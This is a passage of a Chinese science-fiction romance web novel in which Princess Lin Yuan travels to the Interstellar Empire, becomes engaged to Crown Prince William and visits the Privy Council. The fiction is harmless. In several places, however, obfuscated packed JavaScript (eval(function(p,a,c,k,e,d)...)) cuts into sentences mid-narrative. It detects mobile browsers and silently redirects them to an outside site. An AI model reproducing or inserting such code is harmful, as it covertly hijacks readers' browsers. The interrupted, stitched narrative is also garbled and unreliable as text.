威廉躬着腰拉着林沅离开苹果树下,撑开一把智能飘行的伞,有些无奈地轻轻叹了口气。 “看我发现了什么呢?一只被雨淋湿的小鸟。” 18.第 18 章 封缄 “我不是小鸟,殿下。”至少小鸟还能自由自在地飞翔。 林沅裹紧风衣,感觉灵魂随着身上沾染的雨丝滑落,渗进脚下泥泞的土地,埋进不见天日的黑暗里。 泥土濡湿,在被挤压成脚印的形状时,发出因为扭曲而痛苦的尖叫,只是微小到难以察觉。 威廉挪了一下头顶飘浮的智能伞,把伞面往林沅那边推去,为她遮住全部的雨丝:“你好像总是有种我不能理解的忧愁。” 林沅不太想开口,只是摇了摇头。 威廉隔着外套,轻轻握住她的手腕,两个人慢慢往别墅的方向走去:“你在害怕什么呢,亲爱的?你在赫斯塔被什么女巫蛊惑了吗,让你去莫名担心全人类的命运?” “没有。”林沅有些嘶哑地轻声否认。额前的碎发被雨丝沾湿,远远看去,像是暗夜里寻路的孤魂野魄,狼狈而落寞。 “你的背后站着赫斯塔大公,甚至整个银河联盟。另外,这样说可能有点自负,但也许还可以加上我——你的未婚夫,星际帝国最名正言顺的皇储。这样的开局,你究竟在害怕什么呢?”威廉叹了口气。 “须知盛极易衰,殿下。我只是在自怜自艾,害怕登高跌重罢了。” “怕什么?我总会接住你。” 一阵风吹过,威廉微微侧身挡住了随风扑向林沅的雨丝。 “我的——”他望向林沅,黑夜中分辨不清眼底深埋的情绪。 “——玫瑰。” 天地寂寥,唯有风雨。 林沅心里觉得有些好笑,感觉自己在努力扯动嘴角,却根本笑不出来。凉风似乎吹醒了她的思绪。此时此刻,内心无比清晰。 在整个宇宙以兆计数都无法统计的行星中,即使在科技加持下,适宜人类生存的地方仍然极其有限。 爆发式人口增长的背后,对资源和土地的争夺,从未有一刻停止。 鲜血和利益交织的关系,又何必妄谈盟誓。 他们无声地走完了接下来的路途。威廉一路护送她到房间门口,一丝不苟的军装上,再次不可避免地洇上了大片水痕。 林沅向他诚恳地道谢,回到自己的房间,睁着眼等待天明。 天亮后银河联盟的飞船提前赶来,林沅与蓬帕杜夫人告别,才知道威廉在清晨时就收到皇室的通讯,立刻启程动身回到星际帝国,没有来得及与房间中的林沅告别。 日复一日,一切像是为无声的电影按下了放映的加速键。林沅和林深一起回到了联盟,在平静的假期生活中,康伦大学的开学日期就要到了,林沅的启程日也近在眼前。 大公夫人和管家机器人帮她一起整理好了跨国读书必备的材料和物品,前后忙碌了好几个银河日。 启程前难得清闲,林沅突然想去赫斯塔的街上逛一逛。 赫斯塔的城市生活区之一,是一片依山而建的彩色房屋。这里没有过高的建筑,环山而上的石板路旁,色彩鲜艳但并不违和的各式房屋松松散散地交叠在一起。 四季如春,阳光正好。家家户户的窗外,鲜花漫出围栏。 沿街的房间大部分是商户,自住的地方要穿过门市向后走,比前边稍微高一些,露出二层的阳台。人们喜欢在这里培植赫斯塔特有的某种红色玫瑰,有些甚至枝繁叶茂到从商户的门面垂落。 鲜花、暖阳、欢声笑语。 这是赫斯塔最普通的清晨。人们起床打扫家门口,准备开始一天的生意。给湿漉漉的头发裹上粉色毛巾的姑娘,在二楼阳台一边刷牙,一边和街对面的友人含含糊糊地聊天。偶尔聊到一些新闻或者剧目,带着显示屏的小机器人会在两家二楼间飞来飞去,像忙碌采蜜的蜜蜂。 林沅走在石板路上,偶尔抬头看见天上飞来飞去的现代飞行器,感觉有种赛博朋克和欧洲中世纪交织的奇异美感。 在赫斯塔,勋爵只是一种名誉上的荣耀,除了职位的工资外,并没有其他的收入。大公官邸也是历来公开的住所,只要选举任期未过,便可以一直在其中居住。 人们看见街上散步的公主,热情地跟她打过招呼,便继续去忙自己的事。只有在林沅偶然想买下一袋新鲜可爱的小番茄时,收到了摊主热情赠送的两颗红彤彤的苹果。 其实居民区不远处就是集中采购出售的大型生活超市,还有密集的无人机配送物流。但是赫斯塔的人们为了怀念地球,仍然把这种售卖自种食物的习惯保留了下来。 林沅散步到了一家小型的音乐酒吧附近。白天的酒吧不出所料地门可罗雀,年轻的老板看起来睡眼惺忪,但仍然礼貌热情地打起精神跟她打了声招呼:“殿下日安。” 林沅好奇地看着柜台上各种招牌饮品的立体影像不断切换,直到一种熟悉的色彩出现在她面前。 “等一下……”她慌忙地叫停,老板为她切换回刚刚闪过的鸡尾酒。熟悉的红蓝白三色,这是大概二十个银河日之前,威廉在蓬帕杜夫人的庄园为她调配的那杯酒。现在正静静地展示在亿万光年之外,一家小小的酒吧中。 老板热情地向林沅解释:“殿下,这是星际帝国最近非常热门的一款鸡尾酒,是帝国皇室一位匿名的皇族在帝国调酒师协会发布的。没有名字,只有一句英文。” 林沅瞬间了然。因为此时此刻,那张卡片仍然安静地躺在她的书房角落里。 You are the light at the end of my tunnel. 你是我隧道尽头的光明。 “他说这杯酒送给一位心爱的女士。谨以协会的名誉为证,为这杯酒定下配方和冠名权。此后每一次售出时他所能抽取的利润,会以这位L女士的名义,尽数捐赠给无国界组织,用于所有为全人类增添福祉的科研事业。” 人的情感真的很奇怪。 她始终努力厌恶着终将会变成暴君的威廉,却仍然会在此时此刻不受控制地心跳加速。 林沅买下了一杯酒,却并没有品尝,只是请老板送给下一位上门的客人,然后转身离去。 最后一次了。她想。 她在心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“世事往往纷繁复杂。你要记住,想看清真相,就得明白一个道理——凡事不必看人怎么说,却要看人怎么做。对于政治家来说,政治只是手段,权力才是目的。拿到你想要的,就会是最后的赢家。” 她看着林沅略显懵懂的眼神,微微叹了口气:“无论如何,放手去做吧。什么也不用害怕,你有我们呢。” 林沅认真地答应,安慰母亲:“开学没几天就是订婚宴,爸爸妈妈很快就会再见到我了。而且还有安妮和科里维奇先生与我一起呢。” 舒晏点点头:“订婚宴需要的东西都帮你一起准备好了,礼服的款式也备了很多。不过等你去了帝国,可以看看有没有更喜欢的,不着急定下来。正好安妮和你一起,可以请她帮帮忙。” 两人聊了许久,直到夜深了,舒晏才十分不舍地放女儿回房休息。 林沅又回到了她的“公主塔”。她心里明白,今日过后,当她迈出走向星际帝国的第一步,她就不再只是赫斯塔的公主,而是银河联盟与星际帝国之间,随时准备插进对方胸膛的一把剑。 她终将孤身一人,迈向那无人可窥知一二的、迷雾般的命途。 19.LV1 爱丽丝 星际帝国首都星冰冷而坚硬的城市主干道两旁,嶙峋的摩天建筑仿佛参差不齐的森森白骨。 无数条固定轨道穿梭在大楼间,如同城市交织的血管。长长的城际交通工具流星般刹那间匆匆来去。 “昨天你去过康伦啦,感觉怎么样?”穿着深灰色校服的安妮·贝克亲昵地挽着林沅的臂弯,黑色领结上是茨威尔大学法学院精致的院徽刺绣。 “挺好的。见过了导师,还有同期的三位……大概是洁癖绅士、抽象艺术家和元气少女的神奇组合。”林沅笑着回忆道。 “师兄师姐们怎么样?昨天我刚来就被他们拉着吃饭去了,一整天都没和你说上话。” 林沅摇了摇头:“我们的导师最近几年只收了这一届学生。” “诶?”安妮非常惊奇,“那这位想必很年轻有为吧?是刚晋升教授吗?” “是位德高望重的女教授,在康伦任职很久了,只是近几年一直跟校方申请不招收学生,把从前的学生们也陆陆续续毕业送走了。”林沅再次否认道。 “这可真是奇了。”安妮沉思道,“我明白了,也许是你的身份特殊……” 她附在林沅耳畔小声问道:“那么,那三位恐怕也有着非常重要的政治背景吧?” 林沅点点头:“根据我能了解到的公开信息,那位绅士又洁癖的丹尼尔·冯·桑德兰,他已故的父亲曾是枢密院十二书记官之首,与陛下关系匪浅。” “看起来像艺术家一样一头棕栗色卷曲长发的路易·塔西尼,是教廷某位枢机主教的儿子……另外有传闻,他的母亲是帝国政坛中位高权重的大人物,不过这就是没什么根据的花边新闻了。” “最后那位看起来只有十四五岁的小姑娘……我没有了解到什么有用的信息,只知道她也是外国人。” “看来恐怕也是哪个皇室成员或者政要子女了。”安妮微微叹气,看起来有些忧心忡忡,“这么一说,我现在感觉我的同学们也都奇奇怪怪的……好好来上个学,怎么这么紧张,不会一不小心出现什么外交事故吧?” 林沅笑着安慰她:“我们只负责认真读书。至少现状可以证明,帝国比我们更担心会出什么意外。” 安妮点点头。谈话间,一个没有招牌的窄门出现在两人面前,门旁灰黑色的墙面反射着对面霓虹的零星彩光,刻满了晦涩难懂的英文长难句。 “繁荣路3531号D座一楼66M……是这里没错。”安妮对着虚拟屏仔细核对了地址,“从城际轨道交通265号线K3处下车,步行576米……完全没问题啊!” 她迷茫地看着这个小小的门:“这是婚纱礼服高定门店?” “林AA、林BB。”她喊着两个机械小圆球的名字,“我可不敢进,你俩进去探探路,有什么危险记得直接开激光扫。” 两个小球的显示屏做出了炸毛的表情,有些不太情愿地挤挨在一起,推开门往里进。 “客人你好,欢迎光临永恒星辰高级定制婚纱礼服……诶?”门里响起了一个非常公事公办的女声。 但似乎是突然注意到两个机器小保镖,她泄露了一丝意外的情绪:“这是什么东西……科技虫子?” 安妮敲了敲门,把大门彻底推开。一个灰黑白三色交织、高级而优雅的门内世界展现在眼前。虽然并不艳丽,但也与门外阴森冰冷的气氛截然相反,简直让人怀疑推开的是什么时空穿梭的阀门。 “您好,永恒星辰高定婚纱礼服店繁荣路总店,服务人编号B6331*3542,很高兴为二位服务。” 面容姣好的年轻店员带着恰到好处的微笑,平静地望着有些慌张拘谨的客人们,走出柜台准备饮品。 林沅礼貌地跟她打了声招呼,有些惊奇地侧头转向安妮,小声问道:“这是人工智能机器人?帝国科技已经发展到这种程度了吗?联盟也有不少智能机器人,但从没见过仿真程度这么高的……这动作也太流畅了。” 店员转头望向她俩,在平静的表情之外露出一点点好奇和无奈:“二位是国外来的客人吗?这是我的生物名片。” 她端着咖啡走来,邀请林沅和安妮在纯白的沙发上坐下,用随身的通讯器轻轻碰了一下她们的手腕。 林沅和安妮的通讯显示屏上方立刻投射出一张虚拟名片:编号B6331*3542,星历6331年B45星人造人,服务业基因,十二年制毕业,擅长销售,就职于永恒星辰高定婚纱礼服店繁荣路总店,职务行政店长。 林沅和安妮面面相觑,露出一种“我的天啊我是什么土包子啊外面的世界已经变成这个样子了吗”的奇怪表情。 “人造人……好像已经被联盟立法禁止了?”林沅小声问安妮,尽量避免被当事人听到。 “也许帝国是允许的……”安妮对着她做口型。 “这也太冒险了……” 林沅好奇地看着面前年轻的姑娘,有些歉疚地说道:“不好意思,我们……确实是刚来到这里,希望没有冒犯到您,店长。” “请称呼我‘爱丽丝’吧。”年轻的店长笑着说,“B45的每一位人造人姑娘都是‘爱丽丝’。” “我们来自于帝国境内B45星球人造人基地批量培育的体外胚胎,通过基因筛选和定向改造,制造出适合不同职业的人类,并经过培训和考核,踏上不同的工作岗位。” “这……会产生很多社会矛盾和伦理问题吧?”安妮有些心直口快,“生来就注定只能从事一份工作……” “不会呢,具体的岗位是可以自由选择的。”爱丽丝平静地笑着,“我的基因注定了我喜欢这一行业。能在其中择业,我很快乐。” 安妮有些不好意思地点了点头,没再继续往下问:“我们来选一身适合订婚仪式的礼服……请问有什么推荐吗?对了,我们过来的时间好像有点晚,会不会耽误你下班呢?” “没关系,帝国是48小时计时制度。我们的基因被设计成适应24小时工作的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726782|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模式,距离我的下班时间还很早呢。”爱丽丝耐心地解释,并为她们打开虚拟投屏,礼服的立体影像等比例地投射在两人面前。 她扫描了林沅的身体数据。片刻后林沅穿着婚纱的形象就出现在眼前。 “24小时工作?”安妮忍不住询问道。 林沅也有些担忧:“这样是不是有点太劳累了?” 她突然意识到康伦和茨威尔都对她俩使用24时制,也许是为了照顾她们从银河联盟远道而来的习惯。所谓的“昨天”其实是“今天”。是她疏忽了。 “我们的基因已经天生适应了这种模式。”爱丽丝一边解释,一边为她们切换礼服的影像。每切一次,两人都只是沉默着摇头。 “而且,24小时之外是完全属于我们的自由时间。”爱丽丝的笑容仍然不变,非常热心地为她们介绍,“星际帝国为我们配备了一应齐全的食宿、娱乐和医疗,全部免费,业余时间还可以根据兴趣选择合适的夜间大学就读。只不过相应的,我们的工作也没有工资。” 翻了半天,安妮忍不住打断她:“抱歉,亲爱的……有没有黑白灰三种之外的颜色啊?” 爱丽丝思考了一会,有些歉疚地说道:“帝国的确不太流行艳丽的色彩。不过这一期的礼服……大概也有我们设计师的原因。” 林沅挑选了唯一一件带金色刺绣和亮片的一字肩白色纱裙:“就这件吧。” “不过这件估计只能做常服。”她转头跟安妮商量,“流程单上有简单的问询和宣誓仪式,宸宫那边告诉我需要正式一点的衣服,给了我一些备选,我都不太喜欢……回去从咱们带过来的衣服里挑一件吧。” 店员为她确定了款式和数据,很快便在后台将礼服改好,并通过配送物流立刻送到林沅登记的住处去:“我们随时提供上门和线上一对一服务,欢迎下次光临。” 林沅和安妮目前暂时共同居住在一位有着联盟血统的勋贵闲置的房产中,威廉为她们安排好了侍从和家居设备,但林沅将仆役婉拒了,设备也都用反窃听装置检查过。 连威廉想要派人接送她俩的请求,也被暂时拒绝了。林沅觉得,有帝国的保护的确是双重的保险,但这样也意味着她在旁人的监视之下。 她更想自己去看一看真实的帝国。 走在回家的路上,安妮似乎心有戚戚:“帝国跟我想象的完全不同……大概每年都很少有人选择离开联盟读书,我们了解的信息也太少了。” “咱们以前确实没怎么关注过帝国的新闻。”林沅陷入了深思,“除了人造人和基因筛选,其他的部分倒是有可取之处,也许我们可以取其精华去其糟粕。毕竟我们所想要的,不就是一个人人可以安居乐业的世界吗?” “只不过这种模式,也许会有一些弊端。除了伦理和法理问题以外……当无论怎样的工作效率都无法影响所得时,人们的积极性和责任心或许会大打折扣。我想,我们确实该好好研究一下帝国的社会生态了。” 20.LV2 订婚 在星际帝国与银河联盟共同迎来新一年的第一天时,林沅与威廉·霍恩海姆在皇室的一处行宫中,举行了小型的订婚仪式。 虽然帝国是48时制,却与银河联盟保持着同样的年份更迭,只是将每年的日期减少一半。 这是一处辉煌壮丽的宫殿,并不比林沅在梦中见到的宸宫差。甚至可以说,比起宸宫颇有些阴沉肃杀的风格,她更喜欢这里洁白如雪的圆顶外观,和阳光透过窗户照在红色地毯上的明媚。 气势恢宏的金色大厅中,鲜花从大门一路铺陈到悬浮的平台。林沅穿着水蓝色缎面收腰一字肩长裙,鱼尾如同牛奶般柔顺地流淌至地面。蝴蝶结和长长的缎带叠坠在背后,更显腰肢纤细。 身穿纯黑色教袍的白发枢机主教负责主持订婚仪式。似乎考虑到银河联盟信仰西莉亚神女的缘故,讲稿中并没有涉及太多宗教的元素。 订婚仪式没有直播,但仍有不少记者获得特邀席位,正在警戒线外,或手持设备,或加派摄像机器人,努力获取第一手新闻。 虽然皇室向市民们发送了倡议书,希望不要打扰到未来皇后的正常读书与出行,仍有很多人对她的现状非常感兴趣。 在林沅到达帝国之前,威廉便加强了整个首都星的安保检查,并名正言顺地与负责警卫皇帝的亲卫力量混在一起,以至于除了最开始的接机,订婚这一天竟然是两人在星际帝国的第一次见面。 “很漂亮。”牧师的祷词听得威廉有些不耐烦。他轻轻勾了勾身侧的手指,冲瞥了他一眼的林沅无声地做口型。 林沅轻轻地握了一下他的手,以示回应。 她的注意力全在台下的观众席中。他们俩在悬浮台上侧对着观众,正方便观察。 帝国的国王似乎年岁不小,对于生命普遍很长的现代人来说,他似乎衰老得太过明显了。尽管好像努力做了修复,表面平整的皮肤依然藏不住细细的沟壑,像风干后失水的橘子皮。 赫斯塔大公林慕与妻子舒晏坐在台下。林沅注意到舒晏温柔鼓励的眼眸中闪烁着点点泪光,自己心里也有些酸涩。 剩下的宾客则基本是与双方关系比较亲密的亲朋,以及一些举足轻重的政要。 林深和安妮请了假来参加订婚仪式,两人坐在第二排,旁边竟然是和林沅同门的那位路易·塔西尼。他留着一头柔软卷曲的棕栗色头发,皮肤白皙,五官精致柔和,眼神却是同外貌完全不同的冰冷。 林沅不由得有些八卦起来。她注意到按照官职高低排位,在第一排和现任枢密院首席书记官坐在一起的女将军。 她也有一头棕栗色的长卷发,和如出一辙的冰冷眼神,下巴微微抬起,显得蔑视众生。五官其实出奇的柔和漂亮,但冷硬的气质中和了这一点,显得不怒自威。 不过似乎因为有些厌恶身边的书记官,这位女将军尽量往靠近另一边的地方就座。 夏洛特·莱茵。林沅注意到她军装制服上的姓名牌,和一排排让人眼花缭乱的帝国勋章。 “……我们在这里,见证一对新人正式缔结未来婚姻的约定。” 牧师的演讲似乎快要结束,林沅赶忙将视线收回。 “个体生命的长度,不会成为爱的边界。存在过的爱意,会伴随宇宙的生息流传下去。” “直到时间终止,万物归一。” 牧师对着他们做了祝福祈祷的手势。他隶属于星际帝国的国教,这个教派并没有具体的名字,只是人们习惯把这个管理宗教的体系称为“圣赞教廷”。 据说这是一种从古老地球时期转化而来的信仰,如今普遍存在于星际帝国各处。 结束了仪式,林沅赶去换上那件在永恒星辰礼服店挑选的裙子,并重新整理了妆容。 天慢慢黑了下来,整个订婚的场地已经换成了晚宴和舞会的场所。四周比较大的照明灯被尽数关掉,唯有长长的宴会桌上两排永不熄灭的智能蜡烛,和头顶飞来飞去的悬浮灯,做足了舞会的气氛。 威廉牵着她的手,两人在人群中穿梭。林沅的手中举着一杯红酒,对着一个个陌生或熟悉的面孔举杯相敬,然后只轻轻地抿一口。一杯红酒半天也没有减少一点。 相比之下,威廉手里的红酒不知道减少又增加多少次了。不过他看起来仍然面不改色。 终于,他们到了长桌尽头的国王那里。他的位置靠近交谊舞的场地,却看起来有些意兴阑珊。枢密院现任首席书记官正在国王身边和他交谈着什么,两个人看起来像是无聊与无聊叠加的二次方,与整个宴会的气氛有些格格不入。 “殿下。”书记官热情地向林沅打招呼。她注意到这位首席的名字,陈鹤明。一位黑发黑眸的中年男人,长着一张五官端正,但实在没什么记忆点的脸。气质也很平凡,看起来像是每天打卡上下班的社畜。 “正好您今天在这里……有点事情需要拜托您。”他看起来非常谨慎,说话措辞间总有几分犹豫,林沅赶忙惶恐地答应,并请他不要客气。 “您的档案已经送来,但我在枢密院的同僚们想再见一见您本人,不知道明天您是否……”他看见林沅好奇的视线在场地中逡巡,又补充道:“抱歉殿下,他们今天忙于一项法案的推进会……希望日后能有幸受邀来参加您正式的婚礼。” 林沅正想要回答,却听见威廉略带讽刺的声音在身边响起:“怎么父皇请他们来,他们今日不肯来,倒有脸让阿沅亲自去?” 陈鹤明手微微抖着取出一块帕子,擦了擦额上的细汗,赶忙打断他:“殿下……在下的同僚们忙于推进会……改日一定向二位赔罪。” 他看起来非常诚恳:“请殿下务必赏光。” 林沅正沉吟着思考该如何回答,威廉却森然地笑了:“想要赏光?让他们自己来宸宫给阿沅请安。” 他的眼神并无笑意,反而带着一点藏不住的肃杀和血腥味道。 国王终于有些不赞同地打断了他:“你这是小孩子脾气,去一趟也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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威廉赶忙道歉,绅士地做了一个邀请的动作:“我的错。能有幸请这位美丽的女士跳支舞吗?” 林沅把手掌搭在他掌心。两个人牵手走进了舞池,换来周围人一阵阵的欢呼。 他们在悬浮的聚光灯下翩翩起舞。 林沅默默观察着周围。国王带着首席书记官正在和大公夫妇交谈,表情看起来都很愉快。女将军似乎已经离场,此刻已经不见身影,那位同门路易·塔西尼却并没有离开,好像正在试图邀请安妮跳舞。 安妮露出犹疑的表情,旁边却伸出一只手和路易打招呼——是林深。林沅有些惊奇地注意到林深跟路易说了什么,他高傲的脸上露出了一些期待的表情,两人似乎越聊越开心,安妮也就趁机溜走了。 帝国的夜晚同白天一样漫长。岁月的车轮缓缓转动,铺陈一切未知的前路。 21.LV3 枢密院 星际帝国的枢密院位于首都星另一端,几乎与宸宫隔了半个星球遥遥相望的古朴城堡中。 据说这处城堡和举行订婚仪式的建筑,都是在帝国还被称为协会时便动工的,所以还保留了那个时期的风格。比起现在沉重的黑白灰,色彩上明显要更丰富、更大胆,造型也更富有艺术气息。 枢密院所在的宏伟城堡,拥有闪耀的金色外墙,和朱红色的美丽圆顶,工匠们通过特殊的工艺进行维护,使其千年也不曾腐化崩塌,传承至今。 岁月流转,枢密院的十二书记官制度也一代代更迭。从建立之初书记官们忠心耿耿拥戴第一位国王站稳脚跟,发展到如今一步步揽下大权,和皇权分庭抗礼。 昨日林深与安妮已经各自回了学校。威廉和林沅陪同大公夫妇参观了宸宫,并与国王一起用过了晚宴,才送他们登上飞船,启程返回银河联盟。 连续两日的喧闹过后,林沅靠着帝国特制的饮食努力适应48小时制,却仍然觉得有些疲惫不堪。 在启程前往枢密院的路上,他们的飞船跟在国王专用的座驾后面。威廉注意到她疲倦的神色,有些担忧地问道:“你还好吗,阿沅?” 林沅点点头,却不想浪费力气多说话,脸色也有些苍白。 威廉安慰她:“帝国的国民基本都做过基因改造,你们适应不了是很正常的,这也是这么多年两国很少有交换生的重要原因。我已经与康伦和茨威尔大学都沟通过,让你们仍旧使用24时制直到毕业。好在研究生的学业比较自由。” 林沅却摇了摇头:“我会尽力适应的。总这样也不是个办法,总不能将来需要出席重要场合的时候,我却对国民说我要睡觉了吧?” 威廉被逗笑了。从订婚宴上和国王因为枢密院产生轻微的冲突开始,他一直显得有些心事重重。如今神态总算放松一些。 他轻轻抚上林沅的额头,似乎想抚平她微微蹙起的眉。 林沅条件反射地闭了下眼睛。她握住威廉的手腕:“真的没事,放心吧。” 两人自从订婚后,似乎总多了一种自然而然的亲近和熟稔。虽然林沅知道这只不过是一种演技和剧本的递进罢了。她清楚自己毫无所动,也清楚威廉永远是逢场作戏更多。 但是在这个几乎称得上孤立无援的陌生国度,一举一动都仿佛行于风暴肆虐下,无穷无尽的黑色深渊中。这段关系是她唯一可以支撑自己渴求空气的浮木。 危险,脆弱,但别无选择。 “威廉……”她突然想起了什么,有些好奇地小声问道,“昨天参观你的书房时,我看到桌子上那张照片……那位和你一样灰色头发蓝色眼睛的美丽女士……” 威廉明白她想问什么:“是我的母亲。” “昨天爸妈也在,我就没有问。”林沅观察着他的神色,威廉一向淡漠的蓝色眼睛,流露出一种似乎可以称之为“怀念”的温柔。 “没关系,也不是什么不能提的话题。只不过她在我十岁的时候就去世了。”威廉整理了情绪,把那一点点从缝隙中不小心流露出的脆弱尽数收回。 “抱歉,我不该提起这样伤心的事。”林沅望着他,表情有些歉疚。 威廉摇摇头:“没什么,都已经过去那么久了。” “在人造人生产链如此发达的帝国,自然生育其实是很少见的行为了。只不过大部分人的想法仍然比较传统,觉得由母亲亲自生下,并从小抚养长大的孩子,才是真正有继承权的孩子。这也是我的来源。” 他的语气同神色一样淡漠,好像在描述一种与自己毫无关联的商品:“父皇与母后并没有什么感情基础。只不过母后出身贵族,是经过枢密院层层筛选,然后由父皇亲自选定的,血统最高贵的皇后。” “你应该不知道吧。”他突然露出一种像恶作剧得逞,也像是自嘲般的笑容,“其实我有大概几百个兄弟姐妹,都是由母亲和父亲的基因培育而来的人造人。” 林沅震惊地看着他,像在听什么天方夜谭的疯话。 “他们始终被冰冻在枢密院下最深层的地底中。一旦哪天我意外死去,就会有人按照编号顺序被复活。” “天……”家庭幸福的林沅实在是缺乏对帝国的想象力。她现在觉得银河联盟与赫斯塔简直是这个宇宙中格格不入的童话世界。 威廉却不欲再与她解释更多。他们的飞船队伍已经降落在了枢密院的城堡外。 飞船的大门缓缓打开,阶梯伸展至地面,红毯也自动铺陈开。 威廉牵起林沅的手,在走下飞船前,附在她耳畔小声说道:“放心吧,我会为了让你顺利成为帝国的皇后,而好好活着的。” 他们携手走下飞船,行于国王身后。林沅来不及细思他话语中的深意,便赶紧打起精神应付今日的行程。 枢密院的工作人员们举着鲜花在红毯两边欢呼鼓掌,仿佛像是国王最忠心的臣民一样,脸上写满了刻板的热烈和敬仰。 在订婚仪式上见过的首席书记官陈鹤明站在书记官队伍的最前端等候他们,满面堆笑地迎接国王一行走进城堡中。 林沅注意到除了首席,其他和他穿着同样黑色罩袍和红底金鸢尾花领结服饰的人,最多不过三个。 也就是说,十二书记官,只有四个人亲自前来迎接国王。 她观察了一下人群的神色。国王不出所料地脸色铁青,陈鹤明仍然是满脸诚惶诚恐的社畜表情,另外三个书记官则是一副事不关己的冷漠傲慢。 她转头看向威廉,这个人倒是看着轻松的很,甚至可以说有点微不可察的幸灾乐祸。 林沅在心底轻笑。帝国这个大戏台,是真的有很多好戏。 她优雅地挺直腰背,脖颈如天鹅颈般纤细修长。为了今日的会面,林沅把两侧头发编成一股股细细的麻花辫,再从两侧盘至脑后,并在中央别上一个月桂叶造型的银色装饰。 一身深蓝色带细闪小钻的纱裙上,一圈圈金色镶蓝宝石的细链从腰带坠下,垂在裙子两侧做装饰,衬得她肤色格外白皙。 国王还送了一副贵重的海蓝色珠宝项链做见面礼,林沅也在今日戴了来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766183|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她轻挽着威廉的臂弯,大大方方地站在视察队伍中。威廉仍然是一身深色军装,与林沅的裙子倒也般配和谐。 陈鹤明擦了擦汗,微微躬着腰,领着国王一行人走到十二书记官的议事大厅。 国王、威廉和林沅都被引导着坐下,四位书记官也一一就座,一共七个人,仍然没有把硕大而古老的木色圆桌周围填满,显得空空荡荡的。 “陈鹤明,这是怎么回事?”国王年迈嘶哑的声音像是从地底钻上来,格外的阴沉,夹杂着压抑的愤怒。 “陛下,昨天的推进会不顺利,为了不耽误议事进程……七位书记官把议事厅换到了别的地方,还在紧急地讨论。另外还有一位书记官出外勤了,要下个月才会回来。” 出外勤的书记官……林沅微微笑了笑,趁人不注意偷偷点开通讯,迅速给一个头像是金色绵羊的账号发了一句寻常问候的信息,只不过缀上了此刻的地址。 然后她抬起头继续观察周围。国王还在训话,无非是些陈词滥调的愤怒,想也知道,除了陈鹤明继续战战兢兢地擦汗,只有其他三位书记官自始至终的冷漠,和七把仍旧空荡荡的交椅。 林沅百无聊赖地观察议事大厅的环境。只能说不愧是从协会时期传承至今的建筑,整个大厅带着千年文化底蕴的大气磅礴。圆形吊顶上,背后生出六翼的神像栩栩如生,遥遥俯瞰着地面的圆桌,表情生动而悲悯。 四周的墙壁上,随处可见精细的神像雕刻,甚至还有不同的情节和主题。每一个神像还用了大量珠宝与金银做装饰,许多小天使的眼睛,甚至用的是成色远胜林沅所戴珠宝的蓝色碧玺,每只眼睛大概都有戒指的十几甚至二十几倍大。 仅这样一个大厅,奢华精致程度便远超宸宫。这里的任何一颗珠宝大概都能足够一户普通人家在首都星按最奢侈的标准挥霍十多年。 国王愤怒的声音还在咆哮:“……现在带我过去,我到要看看他们在忙些什么东西!” 陈鹤明正支支吾吾地似乎还想要继续劝他些什么,一旁的威廉终于懒洋洋地站了起来。 他踱步到林沅身边,把军装外套披在她身上。林沅才后知后觉地感觉到大厅好像的确有些阴冷。 威廉从怀里取出一个银色圆球状的东西。他随意抛了两下,圆球落在桌面,竟然顺滑地摊开一片薄薄的液体:“前天我在订婚宴上请陈首席帮我传句话,可惜他没有这个胆子。” “我想终究是我一个人话语权不够的缘故。所以只好从军部顺了一点新东西过来。” 他的手掌在那摊银色液体上撑开,并缓缓向斜上方发力,竟然从桌面上慢慢拔出了一把宽厚的重剑。 “嘭”的一声!重剑被他高高举起,又在远离林沅的位置轰然砸向地面。 重剑和地面一齐四散崩裂。在四位书记官终于变成“惊恐”的表情中,银色的重剑碎块在半空中全部变成无数个细小的圆球,转瞬间把四位书记官全部分开包围。 “不知道现在有没有人肯赏脸,帮我请那七位尊贵的客人来呢?” 22.LV4 书记官 飞散的地砖碎块溅到了旁边“天使殉道”的雕像上,留下星星点点的刻痕。 在圣赞教廷的传说体系中,有一位纯白的幼年天使,为人间的安宁撕碎自己的翅膀,以神血和神羽抚平战争后被重创的人间。 雕像旁边刻着一行英文谶言:以此为新生的起点,并获得灵魂的永宁。 神使是否永宁,林沅不清楚。在场的四位书记官不得安宁,这她倒是看出来了。 每位书记官都被几十上百个极细小的银色颗粒环绕包围。威廉在空气中伸出手,五指慢慢向上、向中央聚拢,而那些细小的颗粒们也随着他的手势逐渐收紧,离书记官们的要害越来越近。 